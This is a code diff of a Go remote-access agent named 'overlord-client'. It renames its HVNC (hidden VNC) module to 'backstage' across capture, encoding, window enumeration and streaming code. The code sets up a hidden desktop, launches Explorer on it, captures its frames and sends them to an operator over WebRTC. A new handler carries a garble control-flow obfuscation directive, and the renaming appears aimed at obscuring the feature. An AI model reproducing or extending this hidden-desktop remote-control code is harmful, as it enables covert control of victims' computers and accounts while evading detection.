return errors.New("backstage not supported on this platform")
}
func HVNCAutoStartExplorer() error {
return errors.New("HVNC not supported on this platform")
func BackstageAutoStartExplorer() error {
return errors.New("backstage not supported on this platform")
}
func HVNCKillAll() error {
return errors.New("HVNC not supported on this platform")
func BackstageKillAll() error {
return errors.New("backstage not supported on this platform")
}
type HVNCWindowInfo struct {
type BackstageWindowInfo struct {
HWND uintptr
Title string
X int
@@ -80,7 +80,7 @@ type HVNCWindowInfo struct {
Visible bool
}
type HVNCMonitorInfo struct {
type BackstageMonitorInfo struct {
Index int
Name string
X int
@@ -90,6 +90,6 @@ type HVNCMonitorInfo struct {
Primary bool
}
func HVNCEnumWindows() ([]HVNCWindowInfo, []HVNCMonitorInfo) {
func BackstageEnumWindows() ([]BackstageWindowInfo, []BackstageMonitorInfo) {
return nil, nil
}
@@ -825,7 +825,7 @@ func uiaInit() error {
return
}
uiaTreeWalker = uiaSingleton.GetControlViewWalker()
log.Printf("hvnc uia: IUIAutomation initialized successfully (walker=%v)", uiaTreeWalker != nil)
log.Printf("backstage uia: IUIAutomation initialized successfully (walker=%v)", uiaTreeWalker != nil)
})
return uiaInitErr
}
@@ -860,7 +860,7 @@ func uiaEnsureWorker() {
uiaWorkerCh = make(chan func(), 64)
uiaWorkerDone = make(chan struct{})
go func() {
defer recoverAndLog("hvnc uia worker", nil)
defer recoverAndLog("backstage uia worker", nil)
uiaWorkerLoop()
}()
})
@@ -871,23 +871,23 @@ func uiaWorkerLoop() {
defer runtime.UnlockOSThread()
defer close(uiaWorkerDone)
hvncDesktopMu.Lock()
dh := hvncDesktopHandle
hvncDesktopMu.Unlock()
backstageDesktopMu.Lock()
dh := backstageDesktopHandle
backstageDesktopMu.Unlock()
if dh != 0 {
r, _, err := procSetThreadDesktop.Call(dh)
if r == 0 {
log.Printf("hvnc uia: worker SetThreadDesktop failed: %v", err)
log.Printf("backstage uia: worker SetThreadDesktop failed: %v", err)
for range uiaWorkerCh {
}
return
}
} else {
log.Printf("hvnc uia: warning — worker started before HVNC desktop exists")
log.Printf("backstage uia: warning — worker started before backstage desktop exists")
}
if err := uiaInit(); err != nil {
log.Printf("hvnc uia: worker init failed: %v", err)
log.Printf("backstage uia: worker init failed: %v", err)
for range uiaWorkerCh {
}
return
File diff suppressed because it is too large Load Diff
+87 -87
View File
@@ -504,9 +504,9 @@ var (
prevMu sync.Mutex
prevFrame *prevImage
hvncPrevMu sync.Mutex
hvncPrevFrame *prevImage
hvncLastKeyframe atomic.Int64
backstagePrevMu sync.Mutex
backstagePrevFrame *prevImage
backstageLastKeyframe atomic.Int64
)
type prevImage struct {
@@ -616,12 +616,12 @@ func ResetPrev() {
resetH264Encoder()
}
func ResetPrevHVNC() {
hvncPrevMu.Lock()
hvncPrevFrame = nil
hvncPrevMu.Unlock()
hvncLastKeyframe.Store(0)
resetH264EncoderHVNC()
func ResetPrevbackstage() {
backstagePrevMu.Lock()
backstagePrevFrame = nil
backstagePrevMu.Unlock()
backstageLastKeyframe.Store(0)
resetH264Encoderbackstage()
}
func RequestDesktopFullFrame() {
@@ -642,12 +642,12 @@ func useDesktopSoftwareH264() bool {
return desktopSoftwareH264.Load()
}
func RequestHVNCFullFrame() {
hvncPrevMu.Lock()
hvncPrevFrame = nil
hvncPrevMu.Unlock()
hvncLastKeyframe.Store(0)
resetH264EncoderHVNC()
func RequestbackstageFullFrame() {
backstagePrevMu.Lock()
backstagePrevFrame = nil
backstagePrevMu.Unlock()
backstageLastKeyframe.Store(0)
resetH264Encoderbackstage()
}
func jpegQuality() int {
@@ -731,8 +731,8 @@ const (
cursorROIMargin = 32
windowROIMargin = 12
hvncSamplingRate = 1
hvncChangeThresh = 1
backstageSamplingRate = 1
backstageChangeThresh = 1
)
func buildFrame(img *image.RGBA, display int, quality int) (wire.Frame, time.Duration, error) {
@@ -841,7 +841,7 @@ func buildFrame(img *image.RGBA, display int, quality int) (wire.Frame, time.Dur
return wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: format}, Data: blockPayload}, encDur, nil
}
func buildFrameHVNC(img *image.RGBA, display int, quality int) (wire.Frame, time.Duration, error) {
func buildFramebackstage(img *image.RGBA, display int, quality int) (wire.Frame, time.Duration, error) {
encStart := time.Now()
width := img.Bounds().Dx()
height := img.Bounds().Dy()
@@ -850,49 +850,49 @@ func buildFrameHVNC(img *image.RGBA, display int, quality int) (wire.Frame, time
now := time.Now()
if codec == "h264" {
if width%2 != 0 || height%2 != 0 {
log.Printf("hvnc capture: h264 skipped for odd dimensions (%dx%d), falling back to jpeg", width, height)
log.Printf("backstage capture: h264 skipped for odd dimensions (%dx%d), falling back to jpeg", width, height)
codec = "jpeg"
} else {
if webrtcpub.ConsumeKeyframeRequest() {
resetH264EncoderHVNC()
resetH264Encoderbackstage()
}
h264Bytes, err := encodeH264FrameHVNC(img)
h264Bytes, err := encodeH264Framebackstage(img)
if err == nil && len(h264Bytes) > 0 {
hvncLastKeyframe.Store(now.UnixNano())
backstageLastKeyframe.Store(now.UnixNano())
statFullFrames.Add(1)
frame := wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: "h264", HVNC: true}, Data: h264Bytes}
frame := wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: "h264", Backstage: true}, Data: h264Bytes}
return frame, time.Since(encStart), nil
}
h264WarnOnce.Do(func() {
detail := h264AvailabilityDetail()
if detail != "" {
log.Printf("hvnc capture: h264 encode unavailable, falling back to jpeg: %v (%s)", err, detail)
log.Printf("backstage capture: h264 encode unavailable, falling back to jpeg: %v (%s)", err, detail)
return
}
log.Printf("hvnc capture: h264 encode unavailable, falling back to jpeg: %v", err)
log.Printf("backstage capture: h264 encode unavailable, falling back to jpeg: %v", err)
})
codec = "jpeg"
}
}
hvncPrevMu.Lock()
pf := hvncPrevFrame
hvncPrevMu.Unlock()
backstagePrevMu.Lock()
pf := backstagePrevFrame
backstagePrevMu.Unlock()
if pf == nil || pf.w != width || pf.h != height || now.Sub(time.Unix(0, hvncLastKeyframe.Load())) > keyframeEvery {
if pf == nil || pf.w != width || pf.h != height || now.Sub(time.Unix(0, backstageLastKeyframe.Load())) > keyframeEvery {
jpegBytes, err := encodeJPEG(img, quality)
hvncPrevMu.Lock()
copyPrevHVNC(img)
hvncPrevMu.Unlock()
hvncLastKeyframe.Store(now.UnixNano())
backstagePrevMu.Lock()
copyPrevbackstage(img)
backstagePrevMu.Unlock()
backstageLastKeyframe.Store(now.UnixNano())
statFullFrames.Add(1)
frame := wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: "jpeg", HVNC: true}, Data: jpegBytes}
frame := wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: "jpeg", Backstage: true}, Data: jpegBytes}
return frame, time.Since(encStart), err
}
// use strict block detection for HVNC otherwise half the time it just doesn't fucking update pictures
// use strict block detection for backstage otherwise half the time it just doesn't fucking update pictures
// because of how slow the capture shit is.
blocks, blockPayload, encDur, err := encodeBlocksHVNC(img, pf, quality, codec, display)
blocks, blockPayload, encDur, err := encodeBlocksbackstage(img, pf, quality, codec, display)
if err != nil {
return wire.Frame{}, encDur, err
}
@@ -901,7 +901,7 @@ func buildFrameHVNC(img *image.RGBA, display int, quality int) (wire.Frame, time
// Keepalive frames indicate no block-level changes, so avoid copying the
// full RGBA buffer into prevFrame again.
statKeepaliveFrames.Add(1)
frame := wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: "blocks", HVNC: true}, Data: blockPayload}
frame := wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: "blocks", Backstage: true}, Data: blockPayload}
return frame, encDur, nil
}
@@ -910,13 +910,13 @@ func buildFrameHVNC(img *image.RGBA, display int, quality int) (wire.Frame, time
if changedRatio > maxBlockRatio {
jpegBytes, err := encodeJPEG(img, quality)
hvncPrevMu.Lock()
copyPrevHVNC(img)
hvncPrevMu.Unlock()
hvncLastKeyframe.Store(now.UnixNano())
backstagePrevMu.Lock()
copyPrevbackstage(img)
backstagePrevMu.Unlock()
backstageLastKeyframe.Store(now.UnixNano())
statBlockFallbacks.Add(1)
statFullFrames.Add(1)
frame := wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: "jpeg", HVNC: true}, Data: jpegBytes}
frame := wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: "jpeg", Backstage: true}, Data: jpegBytes}
return frame, time.Since(encStart), err
}
@@ -926,7 +926,7 @@ func buildFrameHVNC(img *image.RGBA, display int, quality int) (wire.Frame, time
if codec == "raw" {
format = "blocks_raw"
}
frame := wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: format, HVNC: true}, Data: blockPayload}
frame := wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: format, Backstage: true}, Data: blockPayload}
return frame, encDur, nil
}
@@ -1001,7 +1001,7 @@ func encodeBlocks(img *image.RGBA, prev *prevImage, quality int, codec string, d
changed := blockChanged(img.Pix, prev.pix, stride, prevStride, x, y, ww, hh)
if !changed && blockIntersectsROI(x, y, ww, hh, rois) {
changed = blockChangedHVNC(img.Pix, prev.pix, stride, prevStride, x, y, ww, hh)
changed = blockChangedbackstage(img.Pix, prev.pix, stride, prevStride, x, y, ww, hh)
}
if changed {
changedGrid[by*blocksWide+bx] = true
@@ -1276,12 +1276,12 @@ func sortRegionsByROI(regions []streamRegion, hints []roiHint) {
})
}
func blockChangedHVNC(cur, prev []byte, curStride, prevStride int, x, y, w, h int) bool {
func blockChangedbackstage(cur, prev []byte, curStride, prevStride int, x, y, w, h int) bool {
changedPixels := 0
sampledPixels := 0
for row := 0; row < h; row += hvncSamplingRate {
for col := 0; col < w; col += hvncSamplingRate {
for row := 0; row < h; row += backstageSamplingRate {
for col := 0; col < w; col += backstageSamplingRate {
sampledPixels++
ci := (y+row)*curStride + (x+col)*4
pi := (y+row)*prevStride + (x+col)*4
@@ -1304,7 +1304,7 @@ func blockChangedHVNC(cur, prev []byte, curStride, prevStride int, x, y, w, h in
db = -db
}
if dr > hvncChangeThresh || dg > hvncChangeThresh || db > hvncChangeThresh {
if dr > backstageChangeThresh || dg > backstageChangeThresh || db > backstageChangeThresh {
changedPixels++
if sampledPixels > 20 && changedPixels*100 > sampledPixels {
@@ -1320,7 +1320,7 @@ func blockChangedHVNC(cur, prev []byte, curStride, prevStride int, x, y, w, h in
return changedPixels*100 > sampledPixels
}
func encodeBlocksHVNC(img *image.RGBA, prev *prevImage, quality int, codec string, display int) (int, []byte, time.Duration, error) {
func encodeBlocksbackstage(img *image.RGBA, prev *prevImage, quality int, codec string, display int) (int, []byte, time.Duration, error) {
width := img.Bounds().Dx()
height := img.Bounds().Dy()
stride := img.Stride
@@ -1360,7 +1360,7 @@ func encodeBlocksHVNC(img *image.RGBA, prev *prevImage, quality int, codec strin
hh = height - y
}
if blockChangedHVNC(img.Pix, prev.pix, stride, prevStride, x, y, ww, hh) {
if blockChangedbackstage(img.Pix, prev.pix, stride, prevStride, x, y, ww, hh) {
changedGrid[by*blocksWide+bx] = true
changedCount++
}
@@ -1513,19 +1513,19 @@ func copyPrev(img *image.RGBA) {
}
}
func copyPrevHVNC(img *image.RGBA) {
func copyPrevbackstage(img *image.RGBA) {
width := img.Bounds().Dx()
height := img.Bounds().Dy()
n := len(img.Pix)
if hvncPrevFrame != nil && cap(hvncPrevFrame.pix) >= n {
hvncPrevFrame.w = width
hvncPrevFrame.h = height
hvncPrevFrame.pix = hvncPrevFrame.pix[:n]
copy(hvncPrevFrame.pix, img.Pix)
if backstagePrevFrame != nil && cap(backstagePrevFrame.pix) >= n {
backstagePrevFrame.w = width
backstagePrevFrame.h = height
backstagePrevFrame.pix = backstagePrevFrame.pix[:n]
copy(backstagePrevFrame.pix, img.Pix)
} else {
buf := make([]byte, n)
copy(buf, img.Pix)
hvncPrevFrame = &prevImage{w: width, h: height, pix: buf}
backstagePrevFrame = &prevImage{w: width, h: height, pix: buf}
}
}
@@ -1587,25 +1587,25 @@ func SetQualityAndCodec(quality int, codec string) {
h264WarnOnce = sync.Once{}
if s != "h264" {
resetH264Encoder()
resetH264EncoderHVNC()
resetH264Encoderbackstage()
}
case "":
default:
overrideCodec.Store("jpeg")
resetH264Encoder()
resetH264EncoderHVNC()
resetH264Encoderbackstage()
}
}
func NowHVNC(ctx context.Context, env *rt.Env) error {
func Nowbackstage(ctx context.Context, env *rt.Env) error {
if env.Cfg.DisableCapture {
return sendBlackFrameHVNC(ctx, env)
return sendBlackFramebackstage(ctx, env)
}
if !supportsBackstageCapture() {
return nil
}
return captureAndSendHVNC(ctx, env)
return captureAndSendbackstage(ctx, env)
}
func NowVirtual(ctx context.Context, env *rt.Env) error {
@@ -1659,7 +1659,7 @@ func captureAndSendVirtual(ctx context.Context, env *rt.Env) error {
}
captureDur := time.Since(t0)
willSendViaWebRTC := blockCodec() == "h264" && webrtcpub.IsActive(webrtcpub.KindHVNC)
willSendViaWebRTC := blockCodec() == "h264" && webrtcpub.IsActive(webrtcpub.Kindbackstage)
var slotAcquired bool
if !willSendViaWebRTC && !AcquireFrameSlot() {
PutRGBA(img)
@@ -1668,7 +1668,7 @@ func captureAndSendVirtual(ctx context.Context, env *rt.Env) error {
slotAcquired = !willSendViaWebRTC
quality := jpegQuality()
frame, encodeDur, err := buildFrameHVNC(img, 0, quality)
frame, encodeDur, err := buildFramebackstage(img, 0, quality)
PutRGBA(img)
img = nil
if err != nil {
@@ -1691,12 +1691,12 @@ func captureAndSendVirtual(ctx context.Context, env *rt.Env) error {
}
return nil
}
if frame.Header.Format == "h264" && webrtcpub.IsActive(webrtcpub.KindHVNC) {
if frame.Header.Format == "h264" && webrtcpub.IsActive(webrtcpub.Kindbackstage) {
dur := time.Second / time.Duration(fps)
if dur <= 0 {
dur = 33 * time.Millisecond
}
if werr := webrtcpub.WriteH264(webrtcpub.KindHVNC, frame.Data, dur); werr != nil {
if werr := webrtcpub.WriteH264(webrtcpub.Kindbackstage, frame.Data, dur); werr != nil {
log.Printf("webrtc: write hidden h264 failed: %v", werr)
}
if slotAcquired {
@@ -1737,12 +1737,12 @@ func virtualSendCompletedFrame(ctx context.Context, env *rt.Env, frame wire.Fram
if ctx.Err() != nil {
return nil
}
if frame.Header.Format == "h264" && webrtcpub.IsActive(webrtcpub.KindHVNC) {
if frame.Header.Format == "h264" && webrtcpub.IsActive(webrtcpub.Kindbackstage) {
dur := time.Second / time.Duration(fps)
if dur <= 0 {
dur = 33 * time.Millisecond
}
if werr := webrtcpub.WriteH264(webrtcpub.KindHVNC, frame.Data, dur); werr != nil {
if werr := webrtcpub.WriteH264(webrtcpub.Kindbackstage, frame.Data, dur); werr != nil {
log.Printf("webrtc: write hidden h264 failed: %v", werr)
}
return nil
@@ -1769,7 +1769,7 @@ func sendBlackFrameVirtual(ctx context.Context, env *rt.Env) error {
img := image.NewRGBA(image.Rect(0, 0, 64, 64))
quality := 60
frame, _, err := buildFrameHVNC(img, 0, quality)
frame, _, err := buildFramebackstage(img, 0, quality)
if err != nil {
return err
}
@@ -1778,36 +1778,36 @@ func sendBlackFrameVirtual(ctx context.Context, env *rt.Env) error {
}
func supportsBackstageCapture() bool {
count := HVNCMonitorCount()
count := BackstageMonitorCount()
return count > 0
}
func captureAndSendHVNC(ctx context.Context, env *rt.Env) error {
func captureAndSendbackstage(ctx context.Context, env *rt.Env) error {
defer func() {
if r := recover(); r != nil {
log.Printf("hvnc capture: panic in captureAndSendHVNC: %v", r)
log.Printf("backstage capture: panic in captureAndSendbackstage: %v", r)
}
}()
display := env.HVNCSelectedDisplay
if display < 0 || display >= HVNCMonitorCount() {
display := env.BackstageSelectedDisplay
if display < 0 || display >= BackstageMonitorCount() {
display = 0
log.Printf("hvnc capture: requested display %d out of range, defaulting to 0", display)
log.Printf("backstage capture: requested display %d out of range, defaulting to 0", display)
}
t0 := time.Now()
img, err := safeBackstageCaptureDisplay(display)
if err != nil {
log.Printf("hvnc capture: capture failed: %v (sending black frame)", err)
return sendBlackFrameHVNC(ctx, env)
log.Printf("backstage capture: capture failed: %v (sending black frame)", err)
return sendBlackFramebackstage(ctx, env)
}
if img == nil {
log.Printf("hvnc capture: capture returned nil image (sending black frame)")
return sendBlackFrameHVNC(ctx, env)
log.Printf("backstage capture: capture returned nil image (sending black frame)")
return sendBlackFramebackstage(ctx, env)
}
captureDur := time.Since(t0)
willSendViaWebRTC := blockCodec() == "h264" && webrtcpub.IsActive(webrtcpub.KindHVNC)
willSendViaWebRTC := blockCodec() == "h264" && webrtcpub.IsActive(webrtcpub.Kindbackstage)
var slotAcquired bool
if !willSendViaWebRTC && !AcquireFrameSlot() {
PutRGBA(img)
@@ -1816,7 +1816,7 @@ func captureAndSendHVNC(ctx context.Context, env *rt.Env) error {
slotAcquired = !willSendViaWebRTC
quality := jpegQuality()
frame, encodeDur, err := buildFrameHVNC(img, display, quality)
frame, encodeDur, err := buildFramebackstage(img, display, quality)
PutRGBA(img)
img = nil
if err != nil {
@@ -1839,13 +1839,13 @@ func captureAndSendHVNC(ctx context.Context, env *rt.Env) error {
}
return nil
}
if frame.Header.Format == "h264" && webrtcpub.IsActive(webrtcpub.KindHVNC) {
if frame.Header.Format == "h264" && webrtcpub.IsActive(webrtcpub.Kindbackstage) {
dur := time.Second / time.Duration(fps)
if dur <= 0 {
dur = 33 * time.Millisecond
}
if werr := webrtcpub.WriteH264(webrtcpub.KindHVNC, frame.Data, dur); werr != nil {
log.Printf("webrtc: write hvnc h264 failed: %v", werr)
if werr := webrtcpub.WriteH264(webrtcpub.Kindbackstage, frame.Data, dur); werr != nil {
log.Printf("webrtc: write backstage h264 failed: %v", werr)
}
if slotAcquired {
ReleaseFrameSlot()
@@ -1868,7 +1868,7 @@ func captureAndSendHVNC(ctx context.Context, env *rt.Env) error {
if shouldLogFrame(now) {
total := time.Since(t0)
log.Printf("hvnc capture: stream display=%d fps≈%d format=%s size=%d cap=%s enc=%s send=%s total=%s",
log.Printf("backstage capture: stream display=%d fps≈%d format=%s size=%d cap=%s enc=%s send=%s total=%s",
display, fps, frame.Header.Format, len(frame.Data), captureDur, encodeDur, sendDur, total)
}
@@ -1886,14 +1886,14 @@ func safeBackstageCaptureDisplay(display int) (*image.RGBA, error) {
return img, nil
}
func sendBlackFrameHVNC(ctx context.Context, env *rt.Env) error {
func sendBlackFramebackstage(ctx context.Context, env *rt.Env) error {
if ctx.Err() != nil {
return nil
}
img := image.NewRGBA(image.Rect(0, 0, 64, 64))
quality := 60
frame, _, err := buildFrameHVNC(img, 0, quality)
frame, _, err := buildFramebackstage(img, 0, quality)
if err != nil {
return err
}
@@ -23,9 +23,9 @@ func resetH264Encoder() {}
func RequestDesktopH264Keyframe() {}
func resetH264EncoderHVNC() {}
func resetH264Encoderbackstage() {}
func encodeH264FrameHVNC(_ *image.RGBA) ([]byte, error) {
func encodeH264Framebackstage(_ *image.RGBA) ([]byte, error) {
return nil, errors.New("h264 support not available (cgo disabled)")
}
@@ -523,8 +523,8 @@ var (
h264Enc h264FrameEncoder
h264LastErr error
hvncH264Mu sync.Mutex
hvncH264Enc h264FrameEncoder
backstageH264Mu sync.Mutex
backstageH264Enc h264FrameEncoder
webcamH264Mu sync.Mutex
webcamH264Enc h264FrameEncoder
@@ -538,10 +538,10 @@ func encodeH264Frame(img *image.RGBA) ([]byte, error) {
return out, err
}
func encodeH264FrameHVNC(img *image.RGBA) ([]byte, error) {
hvncH264Mu.Lock()
defer hvncH264Mu.Unlock()
return encodeH264FrameWithEncoder(&hvncH264Enc, "backstage", img)
func encodeH264Framebackstage(img *image.RGBA) ([]byte, error) {
backstageH264Mu.Lock()
defer backstageH264Mu.Unlock()
return encodeH264FrameWithEncoder(&backstageH264Enc, "backstage", img)
}
func encodeH264FrameWebcam(img *image.RGBA) ([]byte, error) {
@@ -624,10 +624,10 @@ func RequestDesktopH264Keyframe() {
resetH264Encoder()
}
func resetH264EncoderHVNC() {
hvncH264Mu.Lock()
defer hvncH264Mu.Unlock()
closeH264Encoder(&hvncH264Enc)
func resetH264Encoderbackstage() {
backstageH264Mu.Lock()
defer backstageH264Mu.Unlock()
closeH264Encoder(&backstageH264Enc)
}
func closeH264Encoder(slot *h264FrameEncoder) {
@@ -1410,7 +1410,7 @@ func average2x2RGB(row0, row1 []byte, x int) (int, int, int) {
func shutdownMediaFoundationForTest() {
closeH264Encoder(&h264Enc)
closeH264Encoder(&hvncH264Enc)
closeH264Encoder(&backstageH264Enc)
closeH264Encoder(&webcamH264Enc)
_, _, _ = procMFShutdown.Call()
}
@@ -142,57 +142,57 @@ func closeH264EncoderLocked() {
}
var (
hvncH264Mu sync.Mutex
hvncH264Enc *x264.Encoder
hvncH264Buf bytes.Buffer
hvncH264Width int
hvncH264Height int
hvncH264FPS int
hvncH264Scratch []byte
backstageH264Mu sync.Mutex
backstageH264Enc *x264.Encoder
backstageH264Buf bytes.Buffer
backstageH264Width int
backstageH264Height int
backstageH264FPS int
backstageH264Scratch []byte
)
func encodeH264FrameHVNC(img *image.RGBA) ([]byte, error) {
func encodeH264Framebackstage(img *image.RGBA) ([]byte, error) {
bounds := img.Bounds()
width := bounds.Dx()
height := bounds.Dy()
hvncH264Mu.Lock()
defer hvncH264Mu.Unlock()
backstageH264Mu.Lock()
defer backstageH264Mu.Unlock()
if err := ensureHVNCH264EncoderLocked(width, height); err != nil {
if err := ensurebackstageH264EncoderLocked(width, height); err != nil {
return nil, err
}
hvncH264Buf.Reset()
if err := hvncH264Enc.Encode(img); err != nil {
backstageH264Buf.Reset()
if err := backstageH264Enc.Encode(img); err != nil {
return nil, err
}
n := hvncH264Buf.Len()
n := backstageH264Buf.Len()
if n == 0 {
return nil, nil
}
if cap(hvncH264Scratch) < n {
hvncH264Scratch = make([]byte, n, n+(n/4))
if cap(backstageH264Scratch) < n {
backstageH264Scratch = make([]byte, n, n+(n/4))
} else {
hvncH264Scratch = hvncH264Scratch[:n]
backstageH264Scratch = backstageH264Scratch[:n]
}
copy(hvncH264Scratch, hvncH264Buf.Bytes())
return hvncH264Scratch, nil
copy(backstageH264Scratch, backstageH264Buf.Bytes())
return backstageH264Scratch, nil
}
func resetH264EncoderHVNC() {
hvncH264Mu.Lock()
defer hvncH264Mu.Unlock()
closeHVNCH264EncoderLocked()
func resetH264Encoderbackstage() {
backstageH264Mu.Lock()
defer backstageH264Mu.Unlock()
closebackstageH264EncoderLocked()
}
func ensureHVNCH264EncoderLocked(width, height int) error {
func ensurebackstageH264EncoderLocked(width, height int) error {
fps := activeH264FPS()
if hvncH264Enc != nil && hvncH264Width == width && hvncH264Height == height && hvncH264FPS == fps {
if backstageH264Enc != nil && backstageH264Width == width && backstageH264Height == height && backstageH264FPS == fps {
return nil
}
closeHVNCH264EncoderLocked()
closebackstageH264EncoderLocked()
opts := &x264.Options{
Width: width,
Height: height,
@@ -204,26 +204,26 @@ func ensureHVNCH264EncoderLocked(width, height int) error {
RateConstant: 23,
LogLevel: x264.LogError,
}
enc, err := x264.NewEncoder(&hvncH264Buf, opts)
enc, err := x264.NewEncoder(&backstageH264Buf, opts)
if err != nil {
return err
}
hvncH264Enc = enc
hvncH264Width = width
hvncH264Height = height
hvncH264FPS = fps
backstageH264Enc = enc
backstageH264Width = width
backstageH264Height = height
backstageH264FPS = fps
return nil
}
func closeHVNCH264EncoderLocked() {
if hvncH264Enc != nil {
_ = hvncH264Enc.Close()
hvncH264Enc = nil
func closebackstageH264EncoderLocked() {
if backstageH264Enc != nil {
_ = backstageH264Enc.Close()
backstageH264Enc = nil
}
hvncH264Width = 0
hvncH264Height = 0
hvncH264FPS = 0
hvncH264Buf.Reset()
backstageH264Width = 0
backstageH264Height = 0
backstageH264FPS = 0
backstageH264Buf.Reset()
}
var (
@@ -62,7 +62,7 @@ func VirtualKillAll() error {
return nil
}
func VirtualEnumWindows() ([]HVNCWindowInfo, []HVNCMonitorInfo) {
func VirtualEnumWindows() ([]BackstageWindowInfo, []BackstageMonitorInfo) {
return nil, nil
}
@@ -294,7 +294,7 @@ func (s *virtualDuplicationState) encodeCachedDirectH264(capStart time.Time, wid
if len(out) == 0 {
return wire.Frame{}, time.Since(capStart), encodeDur, true, nil
}
return wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: 0, FPS: 0, Format: "h264", HVNC: true}, Data: out}, time.Since(capStart), encodeDur, true, nil
return wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: 0, FPS: 0, Format: "h264", Backstage: true}, Data: out}, time.Since(capStart), encodeDur, true, nil
}
func (s *virtualDuplicationState) cacheDirectH264Texture(src *d3d11Texture2D, srcDesc d3d11Texture2DDesc) error {
@@ -939,7 +939,7 @@ func VirtualKillAll() error {
return nil
}
func VirtualEnumWindows() ([]HVNCWindowInfo, []HVNCMonitorInfo) {
func VirtualEnumWindows() ([]BackstageWindowInfo, []BackstageMonitorInfo) {
virtualMu.Lock()
bounds := virtualMonitorBounds
name := virtualMonitorName
@@ -950,7 +950,7 @@ func VirtualEnumWindows() ([]HVNCWindowInfo, []HVNCMonitorInfo) {
return nil, nil
}
monInfos := []HVNCMonitorInfo{{
monInfos := []BackstageMonitorInfo{{
Index: 0,
Name: name,
X: bounds.Min.X,
@@ -973,7 +973,7 @@ func VirtualEnumWindows() ([]HVNCWindowInfo, []HVNCMonitorInfo) {
deskHwnd, _, _ := procGetDesktopWindow.Call()
procEnumDesktopWindows.Call(deskHwnd, cb, 0)
var result []HVNCWindowInfo
var result []BackstageWindowInfo
for _, w := range windowList {
if !isWindowVisible(w.hwnd) {
continue
@@ -1010,7 +1010,7 @@ func VirtualEnumWindows() ([]HVNCWindowInfo, []HVNCMonitorInfo) {
monIdx = 0
}
result = append(result, HVNCWindowInfo{
result = append(result, BackstageWindowInfo{
HWND: w.hwnd,
Title: title,
X: winLeft,
@@ -2221,7 +2221,7 @@ func virtualCurrentCursor() point {
}
virtualInputMu.Unlock()
var pt point
procGetCursorPosHVNC.Call(uintptr(unsafe.Pointer(&pt)))
procGetCursorPosbackstage.Call(uintptr(unsafe.Pointer(&pt)))
return pt
}
@@ -2397,7 +2397,7 @@ func VirtualCaptureDisplayFallback() (*image.RGBA, error) {
capW := srcW
capH := srcH
hdcScreen, hdcMem, buf, ok := hvncEnsureCapCache(capW, capH)
hdcScreen, hdcMem, buf, ok := backstageEnsureCapCache(capW, capH)
if !ok {
return nil, syscall.EINVAL
}
@@ -2443,8 +2443,8 @@ func drawVirtualWindowsToBuffer(hdcScreen uintptr, bounds image.Rectangle, targe
return 0
}
if hvncWinCache == nil {
hvncWinCache = make(map[uintptr]*hvncWinCacheEntry)
if backstageWinCache == nil {
backstageWinCache = make(map[uintptr]*backstageWinCacheEntry)
}
alive := make(map[uintptr]bool)
@@ -2476,17 +2476,17 @@ func drawVirtualWindowsToBuffer(hdcScreen uintptr, bounds image.Rectangle, targe
continue
}
if drawHVNCWindow(hdcScreen, hwnd, bounds, target, targetStride) {
if drawbackstageWindow(hdcScreen, hwnd, bounds, target, targetStride) {
drawn++
}
alive[hwnd] = true
hwnd = getWindow(hwnd, GW_HWNDPREV)
}
for h, entry := range hvncWinCache {
for h, entry := range backstageWinCache {
if !alive[h] {
hvncFreeCacheEntry(entry)
delete(hvncWinCache, h)
backstageFreeCacheEntry(entry)
delete(backstageWinCache, h)
}
}
@@ -0,0 +1,129 @@
package handlers
import (
"context"
"log"
"overlord-client/cmd/agent/capture"
rt "overlord-client/cmd/agent/runtime"
"sync"
"sync/atomic"
"time"
)
var (
backstagePersistedDisplayValue int
backstagePersistedDisplayMu sync.Mutex
backstageTargetFPS atomic.Int64
)
func persistbackstageDisplaySelection(display int) {
backstagePersistedDisplayMu.Lock()
backstagePersistedDisplayValue = display
backstagePersistedDisplayMu.Unlock()
}
func GetPersistedbackstageDisplay() int {
backstagePersistedDisplayMu.Lock()
defer backstagePersistedDisplayMu.Unlock()
return backstagePersistedDisplayValue
}
func backstageStart(ctx context.Context, env *rt.Env, autoStartExplorer bool) error {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
fps := activebackstageTargetFPS()
interval := time.Second / time.Duration(fps)
capture.SetH264TargetFPS(fps)
capture.SetFrameFlowTargetFPS(fps)
log.Printf("backstage: starting stream (target fps %d)", fps)
if err := capture.InitializebackstageDesktop(); err != nil {
log.Printf("backstage: failed to initialize hidden desktop: %v", err)
return err
}
if autoStartExplorer {
goSafe("backstage auto-start explorer", nil, func() {
if err := capture.BackstageAutoStartExplorer(); err != nil {
log.Printf("backstage: auto-start explorer error: %v", err)
}
})
}
ticker := time.NewTicker(interval)
defer ticker.Stop()
currentFPS := fps
for {
select {
case <-ctx.Done():
log.Printf("backstage: stopping stream")
capture.CleanupbackstageDesktop()
return nil
case <-ticker.C:
fps := activebackstageTargetFPS()
if fps != currentFPS {
currentFPS = fps
capture.SetH264TargetFPS(fps)
capture.SetFrameFlowTargetFPS(fps)
ticker.Reset(time.Second / time.Duration(fps))
log.Printf("backstage: target fps changed to %d", fps)
}
if err := capture.Nowbackstage(ctx, env); err != nil {
if ctx.Err() != nil {
log.Printf("backstage: stopping stream")
capture.CleanupbackstageDesktop()
return nil
}
log.Printf("backstage: capture error: %v", err)
}
}
}
}
func activebackstageTargetFPS() int {
if fps := int(backstageTargetFPS.Load()); fps > 0 {
return fps
}
_, fps := streamInterval("OVERLORD_backstage_MAX_FPS", 120)
return SetbackstageTargetFPS(fps)
}
func SetbackstageTargetFPS(fps int) int {
fps = clampDesktopTargetFPS(fps)
